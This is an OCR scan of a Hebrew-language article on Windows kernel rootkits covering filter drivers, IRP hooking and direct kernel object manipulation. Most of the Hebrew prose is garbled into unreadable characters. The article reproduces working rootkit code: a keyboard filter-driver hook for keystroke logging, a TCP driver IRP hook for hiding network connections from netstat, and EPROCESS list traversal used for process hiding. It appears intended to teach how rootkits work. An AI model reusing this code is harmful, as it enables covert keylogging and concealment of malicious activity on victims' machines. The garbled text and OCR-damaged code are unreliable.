2 7'7n- RootKkits

(Zerith) mix :nkn MNn

ek irh
JINYD 12N DX 207 172me nan v 'R pvn - ROOTKITS 7w qunnn dnkn NI N7 NN

ANXNA NITIN K7W NIRRd0 190N 7V 110K AT INKNA L[IWRIN 77NN NN N'WURY RNRY Y'min
Nl DTN

Filter Drivers o
Direct Kernel Object Manipulation e

Filter Drivers
77N yxan 12T 7D WX 0N T 190n7 770nNn7 n70' nntion Nnnina >'Mn nn'vn
77NN2 ,XNAIT? .NNIN NNIK DY AXR'7A1 N'PN NMIYPN DYWY7 Y27 Nownn 7we nn7wun n'71yonn
-n niyxnxa File System-a yaiz? wamn y1nn nx nann noawvnn — NtWriteFile(.....) nxnpn
wOTIN yT'nn DR 2md7 w* RAM-1 X¥n1 X7 yaipn ' n1an7 1aow junon (File System Driver
AN XINY — N'YPn 20" TN 9w 12 Th oy wwpnn File System Driver-n .n'wjppn 7012 yaui7?

AT'9N N'YEN 70V TY

,DM2MT Y NMYIYAY X' IND MDA — "DMAT WY DRI MIYPEN 27U NIRT DNIY
NN7D VTN DR YNl 17 ARYPINY 7190 NIX 12 y¥an — yT'n DX 7a7n yapv 1amTn
:xan o'wana NtWriteFile-7 nxnjzn 1"7nn N RN [N .nwawa Xxan Ty


http://www.digitalwhisper.co.il/files/Zines/0x06/DW6-4-Rootkits_Part1.pdf

Technologic

Envirenment
subsystem
or DLL

User mode

Kernel mode

|

System services

(F]
File system manager

driver L b

Disk driver

(Windows Internals - Microsoft windows server 2000 - 190nn 1I7na ninnNn)

V' NIDDY NND NIYN DT 'K 299NN Nd>ynY? .NIDdY ‘MY N7y MIYPN Ndyn 7 0'wan 1INt
D"'Y DIV '72 NDINY 901l N2MT 9oIng NIY D LMya N7IYD Y'Y Nyyan N1 R0
2T TAR PO'TY> TPO9NY? D'N'WiZ D'70'T NNd7 DNA7 NIN Y191 wIn'y 7un? .ot 0NarTa
N9 O'N'W7 070" T7 DNA' NTD NA'MITA WIN'Y ,XNAIT?) .17 12T 7w NDoIN NIy¥NXa

.(GB80 7w TnX Mmipn po'T 7w |pnn > niXdn'? 60GB-1 GB20

:Filter Drivers 7w 010 1w 0 D D77 W

1197 1K1 7n1mn "2 T 197 oannnn Upper-Level Filter Drivers o
IMNR IR 7NN 12T Nk onannn Lower-Level Filter Drivers e

JIYRIN D079 IWRIN 2102 TN DT 1INN
.07 1T qloin? nan 7y [oAttachDevice n'yjza19n N njzoon vvI0NZ™M
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1O_STACK_LOCATION

struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
Parameters; n'ma 16 nin'opn ,'9-IX-""RN NIY{ZA7 DIVNION
PDEVICE_OBJECT DeviceObiject;
PFILE_OBJECT FileObject;
Unsigned int *Completion Routine ;
Unsigned int *Context

NN97  ARMpP Y¥a? 1y 19w pnonon Nk 7Rt nn Y LIRP Papn namTnwd
7y DMoni9n Daonikn N2 L'NdiRN naonnn NXk thnw  loGetCurrentStackLocation
nnw? iy IRP-n X 1YY 070 12'"1TN TWKRD LNT71IY9] 1'wnn 12T IT IR INK? .M
MWW AX7N IR 1avn? nan 2y ,xan 20T okn'w 1 10_STACK _LOCATION-N nx

DT MR ni7w' (kT niwy? ' loSkipCurrentlrpStackLocation @7 nxmMj yxa%? nn)

JdwiIn TIXA N7¥9nn NdwN 7w 1t 'y  Rootkit-n nnon Yw van nTIEIN

NY'Y yTn 0% IR Q'T' ,NIY'Y O ,NNYPn DNAMTR NYWAYY TT 12T 9oin? N
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:loAttachDevice n'¥jri9a wnnunw KLOG nwa Rootkit-n 2 11 man

NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
DbgPrint("Entering Hook Routine...\n");

/lthe filter device object
PDEVICE_OBJECT pKeyboardDeviceObiject;
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/[Create a keyboard device object

NTSTATUS status =loCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),
NULL, //no name

FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);

//Make sure the device was created ok
ifINT_SUCCESS(status))
return status;

DbgPrint("Created keyboard device successfully...\n");

T L |

/ICopy the characteristics of the target keyboard driver into

/lthe filter device

/lobject because we have to mirror the keyboard device underneath
/lus.

/IThese characteristics can be determined by examining the target
/[driver using an

/lapplication like DeviceTree in the DDK
T L |

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags |
(DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &
~DO_DEVICE_INITIALIZING;

DbgPrint("Flags set succesfully..\n");

T T

//nitialize the device extension - The device extension is a
/lcustom defined data structure

[[for our driver where we can store information which is

/lguaranteed to exist in nonpaged memory.
T |

RtIZeroMemory(pKeyboardDeviceObject->DeviceExtension,
sizeof(DEVICE_EXTENSION));
DbgPrint("Device Extension Initialized...\n");

//Get the pointer to the device extension
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

T T

/lInsert the filter driver onto the device stack above the target
/lkeyboard driver underneath and

/Isave the old pointer to the top of the stack. We need this
/laddress to direct IRPS to the drivers
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/lunderneath us on the stack.

T L T n]

CCHAR ntNameBuffer[64] = "\Device\\KeyboardClass0";

STRING ntNameString;

UNICODE_STRING uKeyboardDeviceName;

RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlIAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE

);

loAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtIFreeUnicodeString(&uKeyboardDeviceName);

DbgPrint("Filter Device Attached Successfully...\n");

return STATUS_SUCCESS;

}/end HookKeyboard
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IRP Hooking

D |"¥ 2wn ,0'on 1T Y IRP-a ni7ounn nirxpaidn 1'w '7nn 7w mw xin IRP Hooking
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NXann7? 1% y»o7 7215' nm Hook vixa ,Tcp driver-7 IRP Hooking-n71voa wnnwn xan Tipn
:netstat 7wn% > ,0'75n nwpn

NTSTATUS InstallTCPDriverHook()

{

NTSTATUS ntStatus;

UNICODE_STRING deviceTCPUnicodeString;

WCHAR deviceTCPNameBuffer[] = L"\Device\\Tcp";
pFile_tcp = NULL,

pDev _tcp = NULL;

pDrv_tcpip = NULL;

RtlInitUnicodeString (
&deviceTCPUnicodeString, deviceTCPNameBuffer);
ntStatus = loGetDeviceObjectPointer(
&deviceTCPUnicodeString,
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FILE_READ_DATA,
&pFile_tcp,
&pDev_tcp);
ifINT_SUCCESS(ntStatus))
return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;

OldIrpMjDeviceControl =
pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange (
(PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);

return STATUS_SUCCESS;

(Rootkit.com)
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ST W
Smp7a o'oprair v e nnn inivnwn — Direct Kernel Object Manipulation

N1an NX) DNIR NANY2E (D"10N 17NN 7w VP AIR 1ND) PAY D'UPMAIN] WIN'YY XD NIdN
EPROCESS 2 no¥1 ox ,7wn%? .nNNX NN0N IX X701 0ynd AxIoN 2'wn? DA (D1imin
:0P"AIND DYYA INT ,72772 7'70N rTann 0tina man — Structure-

nt! EPROCESS

+0x000 Pcb : _KPROCESS

+0x06¢ ProcessLock : _EX PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER

+0x080 RundownProtect : EX_RUNDOWN_REF
+0x084 UniqueProcessld : Ptr32Void

+0x088 ActiveProcessLinks : _LIST_ENTRY
+0x090 QuotaUsage :[3] Uint4B

+0x09c QuotaPeak :[3] Uint4B

+0x0a8 CommitCharge : Uint4B

+0x0ac PeakVirtualSize : Uint4B

+0x0b0 VirtualSize  : Uint4B

+0x0b4 SessionProcessLinks : LIST _ENTRY
+0x0bc DebugPort : Ptr32Void

+0x0c0 ExceptionPort : Ptr32Void

+0x0c4 ObjectTable  : Ptr32_HANDLE_TABLE
+0x0c8 Token : _EX_FAST_REF

+0x0cc WorkingSetLock : FAST_MUTEX
+0x0ec WorkingSetPage : Uint4B

+0x0f0 AddressCreationLock : FAST_MUTEX
+0x110 HyperSpacelLock : Uint4B

+0x114 ForkinProgress : Ptr32_ETHREAD
+0x118 HardwareTrigger : Uint4B

-7 70119 :ARWN 2 791w 0aima naan — Process Control Block(PCB) — KPROCESS Block
-1 awin) Quantum -1 "7nn%? oo"'ww KTHREADS-n nn'wa )*nnn 9w Page Directory
(" "Mxn2a MIxX 11201 X7 ,Schedueling

Jown "mwipn e 7w niva omTonn o'an - ActiveProcessLinks
IMNX Xaw 7'70n7 20119 — "FORWARD"-n1 "BACK"-n 10119 nX niinn ActiveProcessLinks
75 maxn? wnun xin Windows Task Manager-n > "2 wim'wa .17 oTpw 1'7nnY? 101191
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(Wordware — The rootkit arsenal)

2923997571 INIR NIIWDY I 201N TIARD YIATY D952 2YIRR WMIR TR IR
17nnn 7w EPROCESS Structure-n nx 17 n'tnnw nrypao x'n PsGetCurrentProcess
- PsGetCurrentProcess iwinm .'nonn

kd>uf nt!PsGetCurrentProcess

mov eax, dword ptr fs:[00000124H]
mov eax, dword ptr [eax+48h]

ret
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v ¥ A1 10119 ,FS:124H-2 xymaw 'nonn ETHREAD-7 h01'190 7w nawn Xin IwkIn 2700
KilnitialThread-> n>avnn '

kd> dt nt!_ ETHREAD

+2x808 Tcbh :  KTHREAD

+0x1e@ CreateTime : _LARGE_INTEGER
+@x1e8 ExitTime : _LARGE_INTEGER
+@x1eB8 KeyedwaitChain : _LIST_ENTRY
+0x1f@ ExitStatus : IntdB

+@x1fe OfsChain : Ptr32 Void
+0x1f4 PostBlocklList : _LIST_ENTRY

+0x1f4 ForwardLinkShadow : Ptr32 Void

:KTHREAD-2a xxn1 ETHREAD-2 0x48 vooixn ' nixY7 '7on

@: kd> dt nt!_KTHREAD

+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+8x0834 ThreadLock : Uint4B

+dx@38 ApcState . KAPC STATE
+0x038 ApcStateFill : [23] UChar

(7w _KAPC_STATE naiman n1ana 0x10 vosix nxya xin KTHREAD-2 0x48 vooixnl

kd> dt nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY

+BxB18 Process : Ptri2 KPROCESS

+0x014 KernelApcInProgress : UChar
+2x@15 KernelApcPending : UChar
+9x016 UserApcPending : UChar
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viwoe i — PsGetCurrentProcess-7 nxmpn mnx ,p7 .© kprocess block-7 q0119 7onw
T NIN ,N2N TIEN .XNN7 X MIRY 1"70nn R Kixn7 0-EPROCESS-n nwawa TivyY
nXnwn M) 17w Processld-n '9% n'ion 7*7nn 7» EPROCESS-n nX NX¥IMW n'¥21197 XNt

:(mmna nixa? Innw 19> EPROCESS-1 n1w xinw UniqueProcessld-n 7w

DWORD findProcess ( DWORD targetProcessld )
{
int loop = 0;

DWORD eProcess;
DWORD firstProcess;
DWORD nextProcess;
PLIST_ENTRY processList;

if ( targetProcessld == 0 )
return O;

/I Get the process list

eProcess = (DWORD)PsGetCurrentProcess();

/] Traverse the process list

firstProcess = *((DWORD*)(eProcess + (listOffset - 4)));
nextProcess = firstProcess;

for(;;)

{

if(targetProcessld == nextProcess)

// found the process
break;

else if( loop && (nextProcess == firstProcess) )

/I circled without finding the process
eProcess = 0;
break;

}

else

/I get the next process
processList = (LIST_ENTRY*)(eProcess + listOffset);
if( processList->Flink == 0 )

{
DbgPrint ("findProcess no Flink!");
break;

}
eProcess = (DWORD)processList->Flink;
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eProcess = eProcess - listOffset;
nextProcess = *((DWORD*)(eProcess + (listOffset - 4)));

}

loop++;

}
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KiWaitListHead o
KiDispatcherReadyListHead e

1770 nin'wnnn nNXa 117 2N noayna yan Thread '
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KeWaitForSingleObject e
KeDelayExecutionThread e
KeWaitForMultipleObjects e
KiWaitListHead e
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KiWaitListHead.Flink e
KiWaitListHead.Blink e
KeTickCount.LowPart e

ANIN NOY71 NINTY N7 7211 P72 ,nownn T v xyim KeTickCount

NINI9N DY 71 N72von nnixk X pirTa yyay  KiDispatcherReadyListHead nx xixn% 12
ni7pa Dn nmenin M nr nxxnw nR? .NtYieldExecution-1 KeDelayExecutionThread
JNINQN NY2190 NITYA 00N Y nntwn [nn NIvye

void ProcessListHead(PLIST_ENTRY ListHead)
{
PLIST_ENTRY Item;

if (ListHead)

{
ltem = ListHead->Flink;

while (Item != ListHead)

{
CollectProcess(*(PEPROCESS *)((ULONG)Item + WaitProcOffset));
Iltem = ltem->Flink;

}
}

return;

(Rootkit.com)
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